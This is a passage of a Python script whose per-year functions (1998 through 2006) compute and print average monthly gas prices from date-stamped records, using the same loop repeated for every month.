= 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '04': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '05': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '06': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '07': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '08': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '09': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '10': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '11': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices98= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1998' and contents[i][0:2] == '12': \n prices98.append(float(contents[i][11:])) \n for i in range(len(prices98)): \n total += prices98[i]\n avg = total / len(prices98) \n print('December = $' + format(avg, ',.3f'))\n \n# ========================== Average Per Month 1999 ===========================\n\ndef avg_per_month_1999(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 1999 ---------------')\n # January \n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '01': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '02': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '03': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '04': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '05': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '06': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '07': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '08': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '09': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '10': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '11': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices99= []\n for i in range(len(contents)):\n if contents[i][6:10] == '1999' and contents[i][0:2] == '12': \n prices99.append(float(contents[i][11:])) \n for i in range(len(prices99)): \n total += prices99[i]\n avg = total / len(prices99) \n print('December = $' + format(avg, ',.3f'))\n \n# ========================== Average Per Month 2000 ===========================\n\ndef avg_per_month_2000(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2000 ---------------')\n # January \n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '01': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '02': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '03': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '04': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '05': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '06': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '07': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '08': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '09': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '10': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '11': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices00= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2000' and contents[i][0:2] == '12': \n prices00.append(float(contents[i][11:])) \n for i in range(len(prices00)): \n total += prices00[i]\n avg = total / len(prices00) \n print('December = $' + format(avg, ',.3f'))\n \n# ========================== Average Per Month 2001 ===========================\n\ndef avg_per_month_2001(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2001 ---------------')\n # January \n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '01': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '02': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '03': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '04': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '05': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '06': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '07': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '08': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '09': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '10': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '11': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices01= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2001' and contents[i][0:2] == '12': \n prices01.append(float(contents[i][11:])) \n for i in range(len(prices01)): \n total += prices01[i]\n avg = total / len(prices01) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 2002 ===========================\n\ndef avg_per_month_2002(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2002 ---------------')\n # January \n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '01': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '02': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '03': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '04': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '05': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '06': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '07': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '08': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '09': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02)\n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '10': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '11': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices02= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2002' and contents[i][0:2] == '12': \n prices02.append(float(contents[i][11:])) \n for i in range(len(prices02)): \n total += prices02[i]\n avg = total / len(prices02) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 2003 ===========================\n\ndef avg_per_month_2003(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2003 ---------------')\n # January \n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '01': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '02': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03)\n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '03': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03)\n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '04': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '05': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '06': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '07': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03)\n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '08': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '09': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03)\n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '10': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03)\n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '11': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03)\n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices03= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2003' and contents[i][0:2] == '12': \n prices03.append(float(contents[i][11:])) \n for i in range(len(prices03)): \n total += prices03[i]\n avg = total / len(prices03) \n print('December = $' + format(avg, ',.3f')) \n\n# ========================== Average Per Month 2004 ===========================\n\ndef avg_per_month_2004(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2004 ---------------')\n # January \n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '01': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '02': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '03': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '04': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '05': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '06': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '07': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '08': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '09': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '10': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '11': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices04= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2004' and contents[i][0:2] == '12': \n prices04.append(float(contents[i][11:])) \n for i in range(len(prices04)): \n total += prices04[i]\n avg = total / len(prices04) \n print('December = $' + format(avg, ',.3f')) \n \n# ========================== Average Per Month 2005 ===========================\n\ndef avg_per_month_2005(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2005 ---------------')\n # January \n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '01': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '02': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '03': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '04': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '05': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '06': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '07': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '08': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '09': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '10': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('October = $' + format(avg, ',.3f'))\n \n # November\n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '11': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('November = $' + format(avg, ',.3f')) \n \n # December \n total = 0\n prices05= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2005' and contents[i][0:2] == '12': \n prices05.append(float(contents[i][11:])) \n for i in range(len(prices05)): \n total += prices05[i]\n avg = total / len(prices05) \n print('December = $' + format(avg, ',.3f'))\n\n# ========================== Average Per Month 2006 ===========================\n\ndef avg_per_month_2006(contents):\n print('\\n--------------- The Average Price of Gas Per Month in 2006 ---------------')\n # January \n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '01': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('January = $' + format(avg, ',.3f'))\n \n # February\n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '02': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('February = $' + format(avg, ',.3f'))\n \n # March \n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '03': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('March = $' + format(avg, ',.3f'))\n \n # April\n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '04': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('April = $' + format(avg, ',.3f'))\n \n # May \n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '05': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('May = $' + format(avg, ',.3f'))\n \n # June \n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '06': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('June = $' + format(avg, ',.3f')) \n \n # July \n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '07': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('July = $' + format(avg, ',.3f')) \n\n # August\n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '08': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('August = $' + format(avg, ',.3f')) \n \n # September\n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '09': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('September = $' + format(avg, ',.3f')) \n \n # October\n total = 0\n prices06= []\n for i in range(len(contents)):\n if contents[i][6:10] == '2006' and contents[i][0:2] == '10': \n prices06.append(float(contents[i][11:])) \n for i in range(len(prices06)): \n total += prices06[i]\n avg = total / len(prices06) \n print('October = $' + format(avg, 